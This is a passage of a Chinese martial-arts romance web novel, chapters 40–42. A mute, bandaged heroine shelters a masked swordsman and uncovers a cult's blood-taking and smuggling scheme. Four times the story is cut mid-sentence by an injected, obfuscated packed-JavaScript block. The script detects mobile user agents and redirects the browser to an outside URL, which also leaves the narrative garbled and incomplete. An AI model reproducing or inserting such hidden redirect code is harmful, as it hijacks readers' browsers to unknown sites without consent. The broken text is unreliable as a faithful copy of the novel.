似是看穿了她的疑惑，齐绍宁轻声解释，注意到她有些新奇地左右摸摸脸上的绷带后，声音中染上了几分自己都未察觉的笑意。 “这第二点嘛，自然也处于保护的考虑，既然有人想拿你这张脸做做文章，那咱们就给她这个机会，看看到底有什么阴谋诡计。” 这个理由显然戳中了莲心的心口，她放下了摸在脸颊的手，慢慢提起笔，在宣白的纸上落下几个潦草的字，随后拿起展示在齐绍宁眼前。 ‘我的每一步，似乎都在他们的计划之中。’ “我知道，孤军奋战就是这样”，待看清纸上的字，齐绍宁无奈一笑，“你不是第一个，也不是最后一个，但幸好的是，你遇到了我。” 尽管被缠住了脸，但齐绍宁还是透过那双圆瞪的眼睛猜到了白布后的神情，笑得更加开怀。 “你可别多想，你把我当上级，我也只把你当作下属。行军打仗都要讲究协作，如今我可以告诉你的事，我们的暗线也遍布他们之中，所以你加入进来，便不再是被引诱入局的死子。” 听他这样说，莲心又赶忙拿起笔，在纸上匆忙继续写道，‘她取代我的身份，究竟想做什么？’ 这一次齐绍宁并没有急着回答，而是饶有深意地凝视了莲心一会，才慢慢开口。 “陆家水深，你想必早已知晓。水深则鱼盛，难免会有人想要浑水摸鱼”，他顿了顿，笑着问，“你猜，你那个病怏怏的夫君会不会是他们费尽心思想要钓的鱼？” 这个问题莲心没有回答，因为她觉得对方的野心远不止如此，他们如同长着无数触角的怪兽，而这一次想要推入棋盘的并非一个陆时礼，恐怕会是整个陆家。 莲心深吸了一口气，在纸上最后写下了几个字，‘你们准备怎么办？’ 对于她这个反应，齐绍宁显然有些出乎意料，但很快他又恢复了那种将一切运筹帷幄的神情，抬手指了指莲心。 “你当务之急是养好身体，吉祥镖局的镖最迟还有半个月就要去送，此时事关重大，不能有半点差池。” 莲心用力点了点头，又慢慢将自己裹在被褥中，缓缓闭上了眼。 见她一副静待养病的模样，齐绍宁也不再停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431796|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留，帮她把烛火调到最暗后，也抬步走出了屋子。 屋门口，恭候已久的老孙和两个精干下属迎上前来，迫不及待地想要跟他汇报进展，齐绍宁轻轻摆了摆手，示意他们到屋里再说。 一廊之隔，有人在悄声谋划，有人在辗转反侧，难以入眠。 许是因为白天睡得太多，到了夜间莲心反而没了多少困意，但她知道自己必须保持休息才能加快病情康复，自己已经猝不及防地病倒，不能再耽误事了。 因此她强迫自己闭上双眼，不再去琢磨东倭、噬野教以及莲见之间的关联，耳畔不时传来几声鸟鸣，猎猎风声中，意识逐渐抽离，思绪也不再百转千回。 就在她昏昏沉沉之际，窗外似乎响起几声细碎的脚步，莲心睁开有些迷离的睡眼望窗户去看，却冷不防被吓了一跳，睡意顿时被抛到九霄云外去了。 “唰——” 她本能地想要出声询问，可无论如何嗓子还是发不出任何声响，却在下一秒，那抹素白的身影如同鬼魅一般，矫健地翻过窗户，一跃落在不远处的空地上。 与他飘逸的白袍不同，那人的脸上戴着一个木质的面具，上面只粗略雕刻出了五官，奈何手艺极为一般，配在一起显得有几分笨拙，与这一身仙风道骨的装扮极为不搭。 没来由的，莲心竟并未感到丝毫恐惧，不知是因为他始终立在原地不移动分毫，还是捂在腰间的帕子早已被浸染，眼看着就要滴落在地。 僵持片刻，莲心慢慢从床榻起身，一手提着昏暗的烛火，一手拿着干净的白布，半穿着鞋慢慢地朝他走去。 一步，两步……，时间似乎被无尽拉长，透过的月光将两道身影拉得很长。 两人一个戴着古怪的木质面具，一个缠着宽大的白色纱布，隔着约莫五步的距离静静对视。 面具下那双黑沉沉的瞳孔看不十分真切，莲心隐约觉得有些熟悉，却又不知是觉得太无可能，还是真的想不起来，很快移开了视线，只伸手递过那团白布。 “多谢……” 那人伸手接过，虽然沾满血污，但莲心看出那只手骨节修长，指节没有明显宽大，并非习武之人的手。 但虽然如此，深夜负伤又戴着这般面具，很显然不是什么无辜的路人，不过既然他没有敌意，莲心当前也无意追究。 见他接过白布并未立刻缠住伤口，莲心顿了一瞬这才领悟，转身往床畔走去，不仅背过了身，还用被子将自己兜头罩住。 又过了一会儿，耳畔才传来窸窸窣窣的衣料摩擦声，被一片黑暗笼住的莲心不知为何，突然又想到了转身前对方投来的一眼。 很快很短，甚至莲心都有些怀疑那个眼神是自己的错觉。 嗔怪的，宠溺的，还夹杂着淡淡的无奈，那个眼神的主人，与这人根本应该八杆子打不着。 可就像中了邪一般，莲心竟将此联系在了一起。 就在这时，不远处传来一声轻叹，随后那道略显低哑的声音再度响起。 “布料实在难以斩断，可否来帮个忙？” 40. 留宿 行走江湖这么多年，这么会反客为主的伤患，莲心还是第一次见。 只见他左手提着烛台，右手拉着一节白布，看起来确实心有余而力不足，莲心微微吸了口气，从枕边抽出那把匕首，慢慢踱了过去。 随着“唰唰”两声轻响，布料被利落地斩为两段，多余的白布被那人握在手里，莲心随手将匕首放在桌上，又上前半步将其利落打了个结。 当然，在这过程中她确实是刻意悬着那几根手指，尽量避免有任何的肢体接触。 甫一打好结，莲心就赶忙又往后退了好几步，后背抵在桌案的时候正好瞄到上面正摊开了几张宣纸，便借着未干的墨在上面写了起来。 也不知那人是心粗还是心细，这边把烛台放在桌旁给莲心照明了，可自己那头却不急着把衣袍穿好，反而就那么大剌剌站在那里。 刚才刻意避开还不觉得，现在那处被缠了一道又一道的腰肢就这么明晃晃地落在眼前，正好与伏在案上写字的莲心视线平齐。 突然之间，有口难言的阵阵苦涩涌上心头，除此以外，莲心还生出了几分薄怒，这家伙什么情况，有腹肌了不起啊，老显摆什么。 想到这里，她怒从心头起，又蘸了点墨，在最后落下一句警告。 “自重？哦，方才灯火昏暗又不见面容，还以为阁下是位兄台，没成想竟是位姑娘。在下有眼无珠，险些唐突了姑娘，还请姑娘大人大量，多多担待。” 不解释还好，听他这么一说，一旁的莲心反倒是怒上加怒，白布下的两只眼睛瞪得比铜铃还要大，其中满满的都是熊熊燃烧的火焰。 好家伙，身负重伤也就算了，眼神还不太灵光，我没说你戴个面具装神弄鬼，你还先嫌弃我裹着纱布吓人了，真是岂有此理！ 但也就是想想而已，毕竟她现在半点声音发不出，再恼怒也只是干瞪眼，杀伤性不强，侮辱性也不高，最多也就起到一个警示的作用。 既然事已至此，莲心也不欲给自己找不痛快，干脆深吸口气压下那点怒火，有些不耐烦地抬手指了指桌上的字迹，示意他赶紧看。 也不知是不是震慑起到了作用，反正那人也慢慢拢起了衣袍，顺着她指的方向看了过去，只不过在这过程中，莲心似乎听到了一声极低的轻笑。 一触即逝，等她望过去时，仍旧是那张看着有些呆楞的面具，很难想到声音会是那之后发出来的。 所以她也只当是自己幻听，没有多加追究，只想他看清之后赶紧离开，不要再增添什么不必要的麻烦。 虽然她不爱练字，字迹写得也很潦草一般，但她刻意一笔一划去写，尽量言简意赅，她认为就算那人再走投无路，也不能过于没皮没脸，硬要给别人添乱。 可事与愿违的是，她显然低估了对方的脸皮，以及事态的发展。 “姑娘的意思我清楚，方才已是添了不少麻烦，在下也知应当尽快离开。” 突然他话锋一转，“只因身后有恶徒穷追不舍，在下又有伤在身是在难以行动，离开被抓事小，不过就是一命而已，可若是因此连累了姑娘，那便是大大不应该了。” 他这两句话循序渐进，有理有据地分析了离开的利弊，含蓄委婉地表达了不离开的必要性和合理性，竟显得条理清楚，可信度极高。 一旁的莲心想了想，竟想不到什么反驳的依据，她不得不承认，从这人选择翻她的窗户进屋开始，他俩已经成了一根绳上的蚂蚱，很难摆脱关系了。 只要那伙追兵一到，甭管她承不承认同伙关系，一个重伤在身的病号，加上她这个高烧不退的半吊子，成为刀下亡魂的概率几乎有九成。 不知道那帮人是没发现还是怎么样，反正这样的运气不是次次都有的，这人一出去就被他们逮到已经算不上最坏的情况。 比起被拉下水，莲心更担心的是若强赶他出门，这家伙会不会恼羞成怒，一气之下跟她拼个你死我活。 见对方摆明了今夜就要赖在这养伤，莲心也没再强赶，摊了个手表示那就自便，就转身又回到了床榻，将脸侧向墙壁一侧，缩在被子里闭上了眼。 可到底还是有个大活人，不管怎样暗示自己，莲心都没办法当他不存在，更何况那家伙来历不明，是敌是友还不清楚，她还要时刻警惕着。 就这么一手握着匕首，全身绷得如同拉满的弦，正在她全神贯注警惕着周围的动静时，远处的躺椅上传来了一声长长的叹息。 若是能够发出声音，莲心肯定要问为什么叹气，可现在她只是保持着侧躺的姿势，只是没有那么紧张了。 那人似是猜到了她的想法，适时地开了口。 “姑娘有没有体会过失而复得的喜悦？” 失而复得？ 不夸张的说，前十五年她苏莲心想要的东西没有得不到的，得到了之后也没有能够被人抢走的，除非是她主动不要或者送人的。 而在第十六年，她失去了亲人、朋友，几乎可以说是和弟弟相依为命，回首看来问她有没有失而复得的感受，她只能摇一摇头。 很可惜，她没有这种经历，更不要谈什么感受了。 对方似乎早就知道她会没有反应，隔了片刻之后，又自顾自地说了起来。 “不瞒姑娘，在下今夜也是第一次有失而复得的感受，在那一瞬间，这段时间的生死逃亡都显得不足为道起来。一切，都变得值得……” 依旧没有回应，白布之下莲心的唇畔微微抽动一下，心中暗想，敢情你小子大半夜不休息，就是为了跟再我显摆显摆是吧。 在这一时候莲心产生了一个大胆的猜测，她深度怀疑这家伙赖着不走的主要原因，是因为他是个深度话唠，想要拉着她说东扯西。 这不，对面又开始絮絮叨叨说了起来。 “不知姑娘芳龄几何，可曾许了人家？行走江湖身无长物，这救命之恩无以为报，不如在下以身相许可好？” “轰隆”一声，这无疑是一声惊雷，炸在莲心耳畔，她深吸了一口气，觉得这家伙似乎是存心生了捉弄的心思，具体不知道怎么形容。 反正就是反正，还不是一般的反常，就是格外的反常。 她赶忙往身后摆了摆手，无声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443970|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道，你明天一早赶紧趁没人时候离开，别给我惹麻烦就是最好的报答了。 那边一时没再出声，半晌后，只响起了低低的哼唱声，曲调悠长婉转，平静祥和催人入眠。 不知是不是又烧了高热，还是这催眠曲奏了效，反正莲心的意识又逐渐混沌起来，整个人飘飘然的，很快就沉沉陷入了梦乡。 说来也怪，分明屋内藏着一个不速之客，可莲心却罕见的没有做什么噩梦，一夜无梦，睡得沉稳。 翌日一早，沉浸在梦乡中的莲心是被炽热的阳光烤醒的。 等她揉着惺忪的睡眼缓缓坐起身时，躺椅上早已没有了人，不仅人没了半点踪影，连那些白布也消失不见，就好像根本无人来过一般。 见此情景莲心一口气松了半口，了却这桩麻烦固然算好，可孤身负伤在外终究还是危险重重，这样的感受对她而言再熟悉不过。 可人人都有各自的难处，饶是心中有着那么两分同病相怜之感，莲心也无暇再去多想，毕竟她自己就有一件又一件的麻烦事，没有那闲功夫再为别人盘算。 穷则独善其身，连圣人都说达才兼济天下呢，她现在自顾不暇不说，更何况她还不是什么圣人，收留他一晚已是冒着风险，别的也只能顺其自然了。 就在这时，门被从外“吱呀”一声给推开了，老孙托着药碗和早食笑吟吟地走了进来。 趁着莲心喝药的功夫，他先是帮忙在桌案上摆好了热粥，随后探头往窗户外面看了看，状似无意地问，“姑娘昨夜休息如何？” 放下药碗的莲心将他的动作看在眼底，见他看来，也只是点了点头，随即走到桌前舀了勺混着杂菜的白粥，呼了呼气后，才放到嘴里。 “最近街市上不太平，无事就好”，老孙不动声色地坐了回去，语气中似有几分激动。 “姑娘昏迷不醒五日有余，殊不知这街市上都炸开了锅，家家户户都称赞是天神下凡呢！” 天神下凡，莲心心想，恐怕是假托天命而已吧。 果不其然，下一秒老孙声音渐渐平静下来，“其实哪来的什么天神，不过就是某个看不过去的义士，挺身而出冒着刀剑救下三个无辜孩童。” 义士？ 不知为何，莲心脑海中首先闪过昨夜翻窗而入的那道白影，虽然只匆匆见过一面，但却没来由的觉得，那张木质面具背后的眼神，有几分倔强的孤决。 老孙仍旧侃侃而谈，没有注意到莲心微顿的动作。 “人人都说英雄好，可真正冒死救人的只有寥寥。不过这人也有几分本事，噬野教那帮人神出鬼没竟能被他接连得手，当真不是个简单的人物啊！” 想了想，他又有几分凝重地注视着莲心，嘱咐道。 “少爷一大早有事，就托老汉给姑娘带句话。成大事者不拘小节，姑娘仁义自不必说，只是有些时候，胜利是需要有所牺牲的。” 过了一会儿他就端着碗出了门，莲心静静坐在那张藤椅上，好半天慢慢叹出了一口气。 是啊，胜利总要有所牺牲，那这样的胜利，真得算得上是胜利吗？ 41. 侠义 外面暗流涌动，屋内养病的莲心在日去夜来间，也逐渐康复起来。 这几天除了练功恢复体力以外，她还会时不时跑到一楼的茶馆去，听说书人讲上一段进来的奇闻，其中不乏今日比较关注的白衣侠士救稚童案。 虽然嗓子已经好了大半，但声音较之从前似乎低哑了一些，莲心索性将身份掩盖到底，仍旧在面上悬着一块白纱，也不怎么说话，只是坐在那里聆听。 因着周围有好几家医馆，周围的人大多也是见怪不怪，蒙面的也不止她一个，只当她是得了什么会传染的病，还都主动离她远了一点。 所以大多数时候，莲心都独享着一小块四方桌，点一壶茶听听各色人物七嘴八舌点评两句，在他们各抒己见中不着痕迹地捕捉信息。 就像摸象的盲人，东一下西一下，以图拼凑出整个事情的全貌。 当然，有些时候也会有“病友”一道，略有几分歉意地投来个问询的眼光，然后在她的点头中静悄悄坐在对面的角落，有些局促地搓着手听上一会儿。 患病无疑是痛苦的，染上风寒少则半月长则一月有余，这还算康复后与常人无异的，更别说一些来势汹汹的顽疾，或者无法根除的病症，长久下来便很难在融入于平常人之中。 这病了一遭的莲心也深有此感，不免对这些人生出几分悲悯，经常也给他们添上一个茶杯，再把自己的茶分去半壶。 有些时候她也会想，若是这次之后真的口不能言，往后又该如何，在这时又总会不由自主地想到陆时礼，也不知他每次逃出病魔时，会不会也有一种死而复生的感觉。 又想到好不容易病好，还要一直回味着患病时候的感受状态，尽可能地装作病还没好，当真算得上一种残酷的折磨，反正莲心扪心自问，她是很难做到的。 幸好没给她多少空闲来感人伤怀，不远处铺着红布的长案上醒木一拍，蓄着短细胡须的说书老翁一身洗得发白的青色长袍，昂首挺胸开始了今天的表演。 “昨个儿说到那位白衣大侠路见不平，手提一把削铁如泥的长剑，在长街上飞天遁地，三下两下就斩杀了七八个恶徒，救下了六个嗷嗷待哺的孩童，免于割颈取血的杀人之祸！” 每次开场，这老翁总是用一句话简单回顾下昨日讲述的内容，这样无论新客老客，听没听过，都能跟上进度，不仅如此，还通过抑扬顿挫的语气，将大伙儿拉进了他诡谲的讲述氛围中。 老翁半眯着眼睛扫了一眼坐上的众人，又“啪”的拍了一下醒木，口中咿咿呀呀地继续讲了起来。 “要说这位大侠的英勇事迹，还得论昨天的那一场夜斗。那场景，那情形，真可谓是千钧一发，‘啪’，邪不……胜正！” 虽然他故弄玄虚开了个头，可后面讲得和前些日子并没有什么不同，都是数十人中进行偷袭，身手矫健救下孩童。 只不过是绞尽脑汁渲染了一下场景的凶险，加了些夸赞英勇的形容词。 坐上有不少是闲来无事的商贾官流，听书是次，谈事是主，再加上寻常百姓也只为听个热闹，所以讲到高潮处，不乏热烈的鼓掌及喝彩声。 一众的欢呼鼓舞中，莲心显得有点兴致缺缺，她原本还指望今天再听点不一样的信息，没想到台上台下都一无所获，虽然也跟着拍了拍手，但早就萌生了离开的意思。 就在这时，不知从哪冒出个青衫男子，脸上同她一样也悬着一块白帕，挑了她对面的空座慢慢坐下，还不忘朝她微微一笑。 露出的一双眉眼精致如画，右眼的眼尾还生着一颗小痣，微微一笑时眼角微微上挑，如同初春慢慢溢开的一池潭水。 可不知为何，莲心觉得这目光有些熟悉，可却怎么也想不出见过哪个眼尾有痣的人，只能也回个浅笑，就此作罢。 台上台下正对这位侠士的来历进行猜测，七嘴八舌之际，坐在对面的男子轻轻一嗤，摇晃着手中晶莹的茶杯慢慢开口。 “光听这些人的口气似乎对那位神秘人了如指掌，可这些不过就是满足他的好奇罢了。毕竟连见过的人都没有发表意见，说得再多也不过就是杂谈。” 莲心闻声抬头，见他若有似无地看来，心中暗道，听你这话，不知道的还以为你见过那人呢，这么义愤填膺。 但想归想，她看了眼那人，又环顾了一下情绪激动进行讨论的人群，有些无奈地摊了摊手。 “没办法，好奇是人类的本性嘛，不然你我也不会出现在这里。” 末了她想到了什么，忍不住眯起了眼，道。 “不过我想，那位大侠恐怕没时间来听这些，也不知道他听见百姓们这些离谱的描述，心里该作何感想了！” “也未必呢”，对面那人也笑着眯起了眼，饶有所思地说，“说不定现在他就混在人群里，扮作乞丐或是什么，听着人们对他的大肆赞扬呢？” 这么说，其实也并不是没有可能，只是…… “能有如此举动的，恐怕不会在意这些虚名”，莲心侧了侧头，看向长长的街道，“几番死战救人，哪怕没有传得那么神，至少大侠这个称号，他是实至名归的。” 说完，见日已西斜，莲心也不欲久留，站起身朝对面拱了拱手，便慢慢踱步往楼上的房间去了。 背后的喧嚣渐行渐远，日头将她的影子拉得老长，直到身影消失在转角，那青衫男子才慢慢收回了视线，转而盯着对面无人的座位。 半晌，他饮了口已经凉透的茶，眼睛又弯成了一对月牙。 这边的客栈其乐融融，可跨过三条街的那间客栈，就远没有这么安详了。 “少主——” 一袭黑衣的壮汉灵巧地穿过狭长的楼梯，在一楼人头攒动的饭厅内，挤到个身着素粉色襦裙的少女身畔，借着擦家的空档，压低了声音唤道。 那少女很明显就是莲见，面对这急切的呼喊，她显得有些漠不关心，轻声回，“什么事？” 果然，见她态度冷漠，那大汉更为急躁，压低了的粗嗓中多了些咬牙切齿的味道。 “教主令卑职来提醒您，不要忘了自己的任务……” 莲见从小厮手中接过小菜，显然有些不高兴，秀气的弯眉微微拧起，不耐烦道。 “我自知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448921|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务，用不着你三番两次来提醒。告诉教主，成大事必有牺牲，不给他们点蝇头小利，怎么将鱼儿钓上来。” “容卑职多嘴，一码事归一码”，那大汉快速环顾下四周，见无人注意赶忙继续说。 “您担的是押运一事，我也告诉您，负责取血那位连折了几员大将早就不乐意了，若是……恐怕咱们都担当不起。” 教中势力林立，作为莲见手下的一员，大汉也很怕误了手头的重要之事，教规他是清楚的，哪种酷刑不说要了这条命，扒了这层皮总还是有的。 莲见脸色更加不好，她冷哼一声，随即超他摆了摆手，“知道了，我心中自有安排，切莫引人注意，你赶紧去吧。” “是，谨遵少主命令”，那大汉领了命，下一秒就混入了人群，再也分辨不出踪迹。 座上的莲见仰头饮尽一杯酒，想起刚才那大汉说的话，眼神中更是一片冰凉，这年头什么阿猫阿狗都敢在她面前逞威风。 负责取血的不是别人，正是她在教中的死对头，平日里没少明里暗里的使绊子，思及此，莲见手指一用力，将瓷杯捏个粉碎。 看着从掌心纷纷落下的碎渣，莲见嫣红的唇畔微微勾起，这一次，取血的任务也必须是她的。 屋外风又再起，鼓动着高悬的旗帜猎猎作响，看着手腕处那块隐藏在假皮之下的血红蜘蛛，莲见不着痕迹地吸了口气，随即又举杯独酌起来。 天色渐暗，眼看着日头越来越沉，热闹的说书摊也停歇下来，客人们意兴阑珊，也都三五成群地各自散去。 方才还人满为患的座位上空无一人，说书的老翁似是见惯了这种情景，摇了摇头，自顾自收拾起方才桌案上的物品。 今日收入还算不错，其中还有两个不知来处的商户赏了两吊银钱，老翁提起来在手上掂了掂，说书原本也算一门艺术，既然没多少人真正欣赏，能得到点钱维系下去，总也不至于糟蹋了这门手艺。 就在他将东西塞在布袋里，一只脚已经快迈过门槛时，身后传来了一道略显低哑的女声。 “老先生还请留步——” 不用回头，这老翁便知道，肯定又是那个蒙着脸的女娃娃来了，赶忙笑着回头答道。 “真是不好意思，今天老头子这边真没打听到什么新鲜事。” 见他这样说，莲心也不急，也笑着从袖中取出两个细面馒头，将其连着外面的油布一起递给老翁。 这段时间接触下来，她对这老翁也有所了解，知道他照顾着一伙孤儿，每日说书所得的大部分钱都救济给了他们，连买个馒头都不舍得。 果然，老翁笑意更胜，将油布包揣在怀里，抬手点了点莲心，“这满座最懂欣赏的，唯你这个鬼精的小丫头！” “那就劳烦老伯再想想，只要能解闷儿都行。”莲心仍旧不依不饶。 新奇的事……老翁垂头想了一阵，终于若有所思地点了点头。 “还真有件稀奇事，半个月前小八子在后山捡到了几块碎铁，这段时间一直都有人能够捡到。这不，昨儿个小六子还在隔壁街的水沟里捡到两小块。” 42. 取药 大曜严禁盐铁私营，但如今各地势力待发，有人偷偷贩卖也不是稀罕事。 更何况只是零星捡到点铁碎，不要说那两个小流浪儿，就连这位走南闯北的说书老翁，恐怕都没有把这些放在心上。 可最近的各种琐碎消息都如同拼图，单看来说并没有什么，可若合在一起，那就有些耐人寻味了。 这个消息倒是意外之中，莲心略一琢磨觉得事出古怪，得赶紧往上汇报，便也不欲多留，拱手行了一礼。 “多谢老伯，祝日后生意更上一层楼啊！” 老翁呵呵一笑，无所谓地摆了摆手，“这种事还是得随其自然，不过有这句话老头子还是高兴，那就承你吉言了。” 许是今日收获颇丰的缘故，老翁的步子都迈得格外大，莲心看着他比往日挺得还要直的背脊，心中生出一丝暖流。 上了二楼，她略一琢磨，还是绕到了老孙房门口，抬手轻敲了三下门。 很快老孙就开了门，见到是莲心也不诧异，毕竟这几日齐绍宁有事在外，一般都是他俩单线联系。 “孙叔，有件事来跟您汇报。” 看着莲心满脸严肃的表情，老孙微微一怔，赶忙侧身让她进去，“有什么事，快进来慢慢说。” 一进了门，莲心就一股脑儿把刚才从老翁口中得到的事情说了出来，末了又补充了一句自己的猜测。 “满城割颈，取血之事是次，吸引注意怕才是主要目的。” 至于想要掩人耳目的，不用莲心明说，老孙便已经想到，先是后山现在又是城中，恐怕那些想趁机发点横财的人是越来越大胆了。 然而等她看过去时，却没有从老孙皱纹横生的脸上看到一丝惊诧，反而是一副早有准备的样子，有些泄气，拍了拍衣摆准备离开。 “等等，你这丫头急什么急”，见她来也匆匆去也匆匆，老孙有些嗔怪地瞪她一眼，指了指放在桌上被码放整齐的药包。 “既然你也发现了，那我便也直说了，他们取血练邪功是真，想要用此秘密盖过偷运盐铁也是真。” 说到这里他长叹口气，“他们声东击西，咱们也给他们来个明修栈道暗度陈仓。不瞒你说，交代给你的吉祥镖局那趟镖就是这明面的引子。” 莲心点了点头，接过那几包药，“明白，我这几天已经恢复了七七八八，后天出发押镖，肯定不会掉链子。” “瞧你这丫头，谁说你会掉链子，我的意思是说，咱们的阵仗要做足，但也必须万分小心。” 说完，见莲心有些似懂非懂的表情，老孙干脆深吸口气，继续说道。 “听说镖局讲究四个字‘人在镖在’，后天老头子会带几个得力的兄弟跟你一道去，路上你别的不用太担心，但这货是一定不能出半点差错的。” 听这意思……莲心突然回过味来，这既是明子，也是真子，要的就是一个出乎意料。 “明白了，最危险的地方就是最安全的地方”，莲心朝他狡黠一笑，“他们只当这是虚晃一枪，可咱们就偏要用这伙探子真做点事。” 见她一点就透，老孙声音中也带上几分孺子可教的欣慰，点了点头。 “知道了就好，这趟镖也是运到淮州一带，想来地形你也应熟悉。这几日好好将养身体，到时候还要多多仰仗你呢。” 听到那熟悉的地名，莲心强力压下那点酸涩，朝老孙眨了眨眼，“您放心，保证圆满完成任务！” 老孙这边被她逗笑，赶紧把她往外赶，“行了行了，知道你有能耐，快回屋吧，别在这儿贫！” 那边的老孙还在屋内做着临行前的最后谋划，这边回到屋内的莲心也放下手中的药包，径直走到一角的藤椅上，大剌剌地依靠上去。 一边靠着双腿微微摇晃着椅身，一边闭着眼睛静静思索。 窗外时不时传来几声叽叽喳喳的鸟鸣，脑中不知为何又响起了临别前老孙问她的话，饶是对方的表情小心翼翼，可她还是一瞬间慌了神。 “等这事落定，陆家那边想好要怎么办了吗？” 刚才的她没能回答，可现在安静下来，只有自己一人，扪心自问，她还是想不出个答案。 或者说，比起想不出，她更是不愿去想。 眼看要到阳春三月，殿试在即，当初的约定言犹在耳，可她想，似乎已经不需要再做数了。 苏莲心只是一个名字，或者说只是一个身份，堂姐顶替了这个身份，这么长时间她也不是没有听过传言，都说两人经历一次生死分别，经常同进同出，感情更胜从前不少。 莲见摆明了是噬野教之人，无论她此番顶替身份埋伏在陆时礼身边出于何种目的，肯定是不能放任不管的。 当务之急是要连根拔除莲见的这一条线，至于之后，她自然还得继续复仇，至于旁的，她没有那个心思，想必也是没有那个缘分了。 缘起缘灭，能一同走过一段路，也算是一段际遇，不管如何，都祝他好。 藤椅摇摇晃晃，思绪也被拉得越来越长，夕阳透过窗户投射下来，将脸上熏得暖烘烘的，一时间让莲心忘记了当前所在。 似乎是在家乡小院的木藤上，眼睛遮着两片树叶，一边摇摇晃晃地小憩，一边听着院内噼里啪啦的声响，那是父母在厨房忙活完饭。 时不时自己的脚踝会被轻轻推上一推，那是幼弟把她当成了强劲的敌人，用手中的小木剑在向她宣战。 鼻尖隐隐约约传来丝丝梨花的清香，场景一转，恍若回到了那方僻静的小院，练完功的她带着薄薄的汗，靠在树下的藤椅里打着盹，等待着被投喂晚饭。 扪心自问，陆时礼算得上是在她江州为数不多称得上相处融洽的，另外一个桃华虽说交情不深，但也同样算得上是朋友。 自打从家乡一路出逃，她总是在失去，好不容易有了两个还能说得上话的朋友，可不是相距甚远，就是渐成陌路。 其实等这趟任务完成，她还是想找机会见陆时礼一面的，当前为了不打草惊蛇她没有擅自前去通风报信，可难保日后会不会出什么波折。 虽然齐绍宁他们言之凿凿地说陆家那边一时半会不会有事，但她心中总是隐隐不安。 清楚现在按兵不动是最好的对策是理智所在，毕竟那边在暗，这个机会很难再得到，可出于个人感情，就算他们只是名义夫妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462516|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一方身处危险自己却置之不理也是不好的。 就这么想着，门外突然传来一阵喧闹，听起来似乎是某个客人喝多了酒，上楼梯时一不小心撞到了人，两人均气焰嚣张，就这么吵嚷了起来。 隔着一层门，那对骂的具体内容并不听得十分真切，隐约间她只觉得，其中一个似乎还是个异邦人。 不知是不是被逼得情急，两人都各自拿出了压箱底的词句，特别是那个异邦人，叽叽咕咕地说了一长串，对面应该也没听懂，只兀自拔高了两分声调，准备从气势上压倒他。 这番情景应该吸引了不少人旁观，莲心在屋里都能听到周围七嘴八舌的议论声，嘈杂得似乎是要给那两人助威一样，直让几乎平息的对骂又再次复燃起来。 莲心听了两句，突然想起自己的药还没吃，便从藤椅上慢慢起身，打开一个药包放在壶里，准备架在木炭上烧开。 “姑娘且慢！” 她刚把铜壶放在火上，就听见窗边传来一声轻呼，循声看去却大吃一惊。 来人一袭胜雪白衣，依旧是那张形容古板的木质面具，就连靠在窗边的姿态，都和上次初见如出一辙。 她赶忙看了一下窗外，日头已沉，只有朦朦胧胧的星星亮光，她不禁有些错愕，“怎么这么早就出现了？” 没成想那人先是上前两步，随即上下打量她一会儿，才低低地说道，似是在自言自语。 “没想到声音竟变成这样……” “什么？”莲心没听清楚，有些疑惑地询问。 这次那人摇了摇头，似乎轻轻笑了一声。 “没什么，只是想说听姑娘这口气，似乎对我再来拜访早有预料一般。” 这倒是真的，说不出什么理由，莲心总是觉得这人莫名亲切，心中也隐隐有着一种预感，他们还会再度见面。 莲心不置可否，只是站在原地，静静地看着他，有些不解地问道。 “您怎么也是交口称赞的义士，眼下天还未黑，突然造访可是有何要事？” 他惊奇于她的镇定，她也同样不解于他的出现，分明毫不相及的两人，唯一的共性似乎都只是遮掩面容而已。 那人又上前半步，黑亮的眸子静静凝视着她，“若我说感念相救之恩，特意前来看望，姑娘会相信吗？” 这人，莲心心道，怎么总是言语含混惹人非议，也不知是伪装还是本来，与威难救人的光明磊落侠士形象有几分不符。 “少来这套”，莲心一连往后撤了三步，“有事就说，没事的话你就赶紧离开吧。” 